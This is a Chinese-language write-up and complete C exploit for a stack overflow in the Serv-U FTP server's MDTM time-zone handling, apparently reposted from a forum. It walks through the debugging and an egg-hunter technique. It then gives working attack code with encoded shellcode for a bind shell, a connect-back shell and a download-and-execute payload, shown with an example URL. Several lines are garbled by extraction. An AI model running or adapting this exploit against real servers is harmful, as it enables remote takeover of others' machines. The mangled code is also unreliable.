Serv-U MDTM Time Zone EXPloit
我用的Serv-U 5.0来测试,先构造了一个很长的时区,发现居然没有反应,反复缩短时区长度后,感觉似乎第一个空格的出现位置不能太靠后时才能触发。我猜可能命令的长度有限制,至少是被截断过再处理的,如果第一个空格出现的位置太靠后,Serv-U就以为是在查询一个长文件的修改日期,溢出就不会触发了。
于是我又回来搭了个exploit的架子,以能够触发的字符串构造的。以常规的方法确定了ret点后,用Ollydbg连接到Serv-U守护进程,看在异常处理的时候发生了些什么。结果是和想象中的一样,在一步一步地跟踪到call ebx,然后nop nop jmp 4到常规方法的应该是shellcode的地方时,我仔细数了数当前eip位置附近的内容和发送的原始字符串相同的字节数,好像是连前面加起来一共是294字节,毫无疑问的,发送数据被截断了。
这时候的第一个反应是马上去找tiny shellcode,不过很遗憾,实在是没有找到。我又翻了一下eyas的WS_FTP的那篇文章,觉得应该很像,但是那个可以有512字节的自由发挥空间,无论如何,294字节似乎少了一点。这时候大约是11点了,我打算先回去睡觉,因为看了一天的动画,满脑袋装的都是斯卡(Scar?)的恶心嘴脸,怎么写集中不了精神。
第二天过来的时候,我想试试能不能在内存中找到原始的buffer。这次我在一个超长的MTDM命令后面加了SWAN作为标记,溢出触发的时候我搜索了一下,果然在edi附近发现了原始的数据,而且似乎还有好几个拷贝。这个时候寄存器ebx/esi/edi/ebp/esp几乎都在11xxxxx附近,从这些开始往后找应该能够找到没有经过加工处理的原始数据,我觉得这个exploit应该马上可以完成了。
我的想法是把一个标记作为完整性的判断,比如buffer最后的“SWAN”,然后向前搜索到real shellcode的头,最后跳转过去执行。为了保证溢出的安全触发,我把搜索的search code放到了时区中,而把real shellcode放到了文件名中。附带说一句,这里要一个符合文件名编码的shellcode,好在前面的site chmod的时候已经解决了这个问题,直接拿来用就可以。
search code还是有点考虑的,如果是很完美的话,应该是动态定位当前位置,接管异常处理,利用奇偶校验和来判断原始buffer是否完整等等。不过越想问题越来越多,我又本来就是个懒人,做这些东西岂不是要我的命,干脆做个马马虎虎能够将就过去的就可以了。为了能够通用,ret地址没有用call ebx的0x7FFA4A1B(这玩意儿到了XP下面不行的),而是用的lion上一次site chmod中给的pop/pop/ret地址0x7ffa1571。这个据说能够连win2k3都搞定,我是没有机器可以测试,只在英文版的XP和中文版的2k下面看了一下,确实是可以用。不过用这个的话edi被改掉了,加上XP等异常处理中call ecx后ebx成了0x00000000,我就从esp开始向下搜索的,测试了一个Win2K和一个WinXP,都能找到。
废话就不用多说,跟进去看看就知道了。Search code是这样:
//"xCC"// int3; for test :-))
"x8BxDC"// mov ebx, esp; "pop ebx" is also OK
"xB8x52x57x41x4E"// mov eax, 4E415753h
"x40"// inc eax; eax eq "SWAN" now
"x43"// inc ebx
"x39x03"// cmp [ebx], eax
"x75xFB"// jne -5; search "SWAN"
"xB8x90x90x90x90"// mov eax, 90909090h
//"xCC"// int3; for test
"x4B"// dec ebx
"x39x03"// cmp [ebx], eax
"x75xFB"// jne -5; search nop/nop/nop/nop
"xFFxD3"// call ebx
"x20x20";// <SP> to ensure the overflow
大概意思就是找SWAN,找到后向前找到连续的4个nop,以次确定完整的shellcode的地址,然后跳过去执行,后面两个空格(0x20)的意思嘛,前面已经说过了~
完整一点的exploit是这样子,不用写权限,能够登陆即可。我没有测试几台机器(自己用的三台加一个虚拟机),不知道会不会有其他的未发现的问题——毕竟我是纯黑盒连蒙带猜测试的,一丁点反汇编都没有去看。还有一句话,Serv-U 5.0以下的方法要简单些,但这种方法对从3.x开始的东西都有效果,如果你觉得ret地址不爽,请自己改。这个对中文版的2k/XP/2k3有效。
/*
Serv-U allows a MDTM command that less than 294 bytes, it is too short to exploit.
However, we could send a MDTM command as long as we wish, and we can easily find our
raw buffer in the memory. To be brief, you can find that near [edi] when overflow
happened. So search from the edi, and you can exploit it.
My way to exploit this could be described as follow:
+------+----------------------+---------+------+---------+
│ MDTM │ long buffer with '+' │ buffer1 │ <SP> │ buffer2 │
+------+----------------------+---------+------+---------+
buffer1:
+--------------+--------------------+-------------------+
│nop nop jmp 4 │ addr of "call ebx" │ short search code │
+--------------+--------------------+-------------------+
buffer2: (as the filename)
+----------------+----------------+-------------+
│flag 0x90909090 │ real shellcode │ flag 'SWAN' │
+----------------+----------------+-------------+
The real shellcode must be a valid filename, see the "site chmod exploit" to get
more information about how to make the shellcode valid.
*/
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#pragma comment (lib,"ws2_32")
void help(char *program)
{
printf ("=======================================================rn");
printf ("Serv-U MDTM Time Zone Stack Overflow Xploit v0.20 alpharn");
printf (" For Serv-U 5.0 and below written by SWAN@SEUrn");
printf ("=======================================================rnrn");
printf ("Usage: %s <Host> <Port> <User> <Pass> rn", program);
printf (" %s <Host> <Port> <User> <Pass> <url>rn", program);
printf (" %s <Host> <Port> <User> <Pass> <Your IP> <Your port>rn", program);
printf ("e.g.:rn");
printf (" %s 127.0.0.1 21 test testrn", program);
printf (" %s 127.0.0.1 21 test test http://hack.co.za/swan.exern", program);
printf (" %s 127.0.0.1 21 test test 202.119.9.42 8111rn", program);
return;
}
unsigned char bpsc[]=
//shellcode flag, necessary!
"x90x90x90x90"
//decode code, suppose the ebx is near the encoded shellcode
"x90x8BxC3xBBx51x50x50x50x4Bx40x39x18x75xFBx40x40"
"x40x33xC9x90x90x66xB9x7Dx01x80x34x08x99xE2xFAx90"
"x50x50x50x50"
//encoded shellcode, binding port
"x70x95x98x99x99xC3xFDx38xA9x99x99x99x12xD9x95x12"
"xE9x85x34x12xD9x91x12x41x12xEAxA5x12xEDx87xE1x9A"
"x6Ax12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6"
"x9Ax62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9D"
"xDCx7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9A"
"x58xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58"
"x12x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9AxC0"
"x71x1Ex99x99x99x1Ax5Fx94xCBxCFx66xCEx65xC3x12x41"
"xF3x9CxC0x71xEDx99x99x99xC9xC9xC9xC9xF3x98xF3x9B"
"x66xCEx75x12x41x5Ex9Ex9Bx99"
"x86x36" //<== Port xor 0x9999, default is 8111
"xAAx59x10xDEx9D"
"xF3x89xCExCAx66xCEx69xF3x98xCAx66xCEx6DxC9xC9xCA"
"x66xCEx61x12x49x1Ax75xDDx12x6DxAAx59xF3x89xC0x10"
"x9Dx17x7Bx62x10xCFxA1x10xCFxA5x10xCFxD9xFFx5ExDF"
"xB5x98x98x14xDEx89xC9xCFxAAx50xC8xC8xC8xF3x98xC8"
"xC8x5ExDExA5xFAxF4xFDx99x14xDExA5xC9xC8x66xCEx79"
"xCBx66xCEx65xCAx66xCEx65xC9x66xCEx7DxAAx59x35x1C"
"x59xECx60xC8xCBxCFxCAx66x4BxC3xC0x32x7Bx77xAAx59"
"x5Ax71x76x67x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFD"
"xEBxFCxEAxEAx99xDAxEBxFCxF8xEDxFCxC9xEBxF6xFAxFC"
"xEAxEAxD8x99xDCxE1xF0xEDxCDxF1xEBxFCxF8xFDx99xD5"
"xF6xF8xFDxD5xF0xFBxEBxF8xEBxE0xD8x99xEExEAxABxC6"
"xAAxABx99xCExCAxD8xCAxF6xFAxF2xFCxEDxD8x99xFBxF0"
"xF7xFDx99xF5xF0xEAxEDxFCxF7x99xF8xFAxFAxFCxE9xED"
"x99xFAxF5xF6xEAxFCxEAxF6xFAxF2xFCxEDx99";
#defineIP_OFFSET253
#definePORT_OFFSET248
unsigned char cbsc[]=
"x90x90x90x90"
"x90x8BxC3xBBx51x50x50x50x4Bx40x39x18x75xFBx40x40"
"x40x33xC9x90x90x66xB9x7Dx01x80x34x08x99xE2xFAx90"
"x50x50x50x50"
//connect back, from http://www.xfocus.net/articles/200307/574.Html
"x70x6Dx99x99x99xC3x21x95x69x64xE6x12x99x12xE9x85"
"x34x12xD9x91x12x41x12xEAxA5x9Ax6Ax12xEFxE1x9Ax6A"
"x12xE7xB9x9Ax62x12xD7x8DxAAx74xCFxCExC8x12xA6x9A"
"x62x12x6BxF3x97xC0x6Ax3FxEDx91xC0xC6x1Ax5Ex9DxDC"
"x7Bx70xC0xC6xC7x12x54x12xDFxBDx9Ax5Ax48x78x9Ax58"
"xAAx50xFFx12x91x12xDFx85x9Ax5Ax58x78x9Bx9Ax58x12"
"x99x9Ax5Ax12x63x12x6Ex1Ax5Fx97x12x49xF3x9AxC0x71"
"xE9x99x99x99x1Ax5Fx94xCBxCFx66xCEx65xC3x12x41xF3"
"x9BxC0x71xC4x99x99x99x1Ax75xDDx12x6DxF3x89xC0x10"
"x9Dx17x7Bx62xC9xC9xC9xC9xF3x98xF3x9Bx66xCEx61x12"
"x41x10xC7xA1x10xC7xA5x10xC7xD9xFFx5ExDFxB5x98x98"
"x14xDEx89xC9xCFxAAx59xC9xC9xC9xF3x98xC9xC9x14xCE"
"xA5x5Ex9BxFAxF4xFDx99xCBxC9x66xCEx75x5Ex9Ex9Bx99"
"x9Ex24x5ExDEx9DxE6x99x99x98xF3x89xCExCAx66xCEx65"
"xC9x66xCEx69xAAx59x35x1Cx59xECx60xC8xCBxCFxCAx66"
"x4BxC3xC0x32x7Bx77xAAx59x5Ax71x9Ex66x66x66xDExFC"
"xEDxC9xEBxF6xFAxD8xFDxFDxEBxFCxEAxEAx99xDAxEBxFC"
"xF8xEDxFCxC9xEBxF6xFAxFCxEAxEAxD8x99xDCxE1xF0xED"
"xC9xEBxF6xFAxFCxEAxEAx99xD5xF6xF8xFDxD5xF0xFBxEB"
"xF8xEBxE0xD8x99xEExEAxABxC6xAAxABx99xCExCAxD8xCA"
"xF6xFAxF2xFCxEDxD8x99xFAxF6xF7xF7xFCxFAxEDx99";
unsigned char dehead[]=
"x90x90x90x90"
"x90x8BxC3xBBx51x50x50x50x4Bx40x39x18x75xFBx40x40"
"x40x33xC9x90x90x66xB9xF0x01x80x34x08x99xE2xFAx90"
"x50x50x50x50"
//download & execute, modified slightly...
"x70x4Dx99x99x99xC3x21x95x69"
"x64xE6x12x99x12xE9x85x34x12xD9x91x12x41x12xEAxA5"
"x9Ax6Ax12xEFxE1x9Ax6Ax12xE7xB9x9Ax62x12xD7x8DxAA"
"x74xCFxCExC8x12xA6x9Ax62x12x6BxF3x97xC0x6Ax3FxED"
"x91xC0xC6x1Ax5Ex9DxDCx7Bx70xC0xC6xC7x12x54x12xDF"
"xBDx9Ax5Ax48x78x9Ax58xAAx50xFFx12x91x12xDFx85x9A"
"x5Ax58x78x9Bx9Ax58x12x99x9Ax5Ax12x63x12x6Ex1Ax5F"
"x97x12x49xF3x9DxC0x71xC9x99x99x99x1Ax5Fx94xCBxCF"
"x66xCEx65xC3x12x41xF3x98xC0x71xA4x99x99x99x1Ax5F"
"x8AxCFxDFx19xA7x19xECx63x19xAFx19xC7x1Ax75xB9x12"
"x45xF3xB9xCAx66xCEx75x5Ex9Dx9AxC5xF8xB7xFCx5ExDD"
"x9Ax9DxE1xFCx99x99xAAx59xC9xC9xCAxCFxC9x66xCEx65"
"x12x45xC9xCAx66xCEx69xC9x66xCEx6DxAAx59x35x1Cx59"
"xECx60xC8xCBxCFxCAx66x4BxC3xC0x32x7Bx77xAAx59x5A"
"x71xBEx66x66x66xDExFCxEDxC9xEBxF6xFAxD8xFDxFDxEB"
"xFCxEAxEAx99xDExFCxEDxCAxE0xEAxEDxFCxF4xDDxF0xEB"
"xFCxFAxEDxF6xEBxE0xD8x99xCExF0xF7xDCxE1xFCxFAx99"
"xDCxE1xF0xEDxC9xEBxF6xFAxFCxEAxEAx99xD5xF6xF8xFD"
"xD5xF0xFBxEBxF8xEBxE0xD8x99xECxEBxF5xF4xF6xF7x99"
"xCCxCBxD5xDDxF6xEExF7xF5xF6xF8xFDxCDxF6xDFxF0xF5"
"xFCxD8x99";
//"http://127.0.0.1/hello.exe"
//"x80";
unsigned char desc[500]={0};
void main(int argc, char *argv[])
{
WSADATA wsaData;
SOCKET s;
strUCt hostent *he;
struct sockaddr_in host;
int nTimeout = 1000;
if(argc != 5 && argc != 6 && argc != 7)
{
help(argv[0]);
return;
}
if(argc == 6)
{
//initialize the download & execute shellcode
//shellcode head + ((url + 0x80) xor 0x99 ) <==all for damned ':'
memset(desc, 0, 500);
memcpy(desc, dehead, sizeof(dehead));
char url[255];
strcpy(url, argv[5]);
strcat((char*)url, "x80");
for(unsigned int j=0; j < strlen(url); j++)
url[j] = url[j]^'x99';
strcat((char*)desc, url);
}
if(argc == 7)
{
unsigned short port = htons(atoi(argv[6]))^(u_short)0x9999;
unsigned long ip = inet_addr(argv[5])^0x99999999;
memcpy(&cbscmemcpy(&cbsc[IP_OFFSET], &ip, 4);
}
if(WSAStartup(0x0101,&wsaData) != 0)
{
printf("error starting winsock..");
return;
}
if((he = gethostbyname(argv[1])) == 0)
{
printf("Failed resolving '%s'",argv[1]);
return;
}
host.sin_port = htons(atoi(argv[2]));
host.sin_family = AF_INET;
host.sin_addr = *((struct in_addr *)he->h_addr);
if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
printf("Failed creating socket");
return;
}
if ((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1)
{
printf("Failed connecting to hostrn");
return;
}
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, (char*)&nTimeout,sizeof(nTimeout));
char buff[50000]={0};
memset(buff, 0, sizeof(buff));
char szUser[255] = {0};
strcpy(szUser, "USER ");
strcat(szUser, argv[3]);
strcat(szUser, "rn");
char szPass[255] = {0};
strcpy(szPass, "PASS ");
strcat(szPass, argv[4]);
strcat(szPass, "rn");
int bread = recv(s,buff,sizeof(buff),0);
if(bread == -1)
{
closesocket(s);
printf("No response... Perhaps it has been hacked!rn");
return;
}
printf(buff);
//send user
send(s, szUser, strlen(szUser), 0);
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf(buff);
//send pass
send(s, szPass, strlen(szPass), 0);
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf(buff);
if(buff[0] == '5')
{
closesocket(s);
printf("Authentication failed!rn");
return;
}
char xploit[1500] = {0};
char head[] = "MDTM 19811102172800+In_My_Dream_I_Always_See_You_Soar_Above_The_Sky";
/*************************************************************************
Search the "SWAN" to ensure the buffer is intact, then search backwards
to find the head of shellcode.
*************************************************************************/
char search[] = //"xCC"// int3 (for test)
"x8BxDC"// mov ebx, esp
"xB8x52x57x41x4E"// mov eax, 4E415753h
"x40"// inc eax
"x43"// inc ebx
"x39x03"// cmp [ebx], eax
"x75xFB"// jne -5
"xB8x90x90x90x90"// mov eax, 90909090h
//"xCC"// int3 (for test)
"x4B"// dec ebx
"x39x03"// cmp [ebx], eax
"x75xFB"// jne -5
"xFFxD3"// call ebx
"x20x20";// <SP> to ensure the overflow
memset(xploit, 0, sizeof(xploit));
strcpy(xploit, head);
*((int*)(xploit + strlen(head) + 0)) = 0x04EB9090; //nop nop jmp 4
*((int*)(xploit + strlen(head) + 4)) = 0x7ffa1571;//0x7FFA4A1B; //jmp ebx
// copy the search code
memcpy(xploit + strlen(head) + 8, search, sizeof(search));
// copy the shellcode
if(argc == 5)
memcpy(xploit + strlen(head) + 8 + strlen(search), bpsc, sizeof(bpsc));
if(argc == 6)
memcpy(xploit + strlen(head) + 8 + strlen(search), desc, strlen((char*)desc));
if(argc == 7)
memcpy(xploit + strlen(head) + 8 + strlen(search), cbsc, sizeof(cbsc));
// copy the flag. SWAN? It's me~
strcat(xploit, " SWANrn");
//printf(xploit);
send(s, xploit, strlen(xploit), 0);
memset(buff, 0, sizeof(buff));
bread = recv(s, buff, sizeof(buff), 0);
if(bread == -1)
{
closesocket(s);
if(argc == 5)
printf("Success! Try connect port 8111 to get your shell...rn");
if(argc == 6)
printf("Success! Host has download and execute the program...rn");
if(argc == 7)
printf("Success! See your nc.exe...rn");
return;
}
printf("Failed... Perhaps it has been patched!rn");
closesocket(s);
return;
}
(出处:http://www.sheup.com)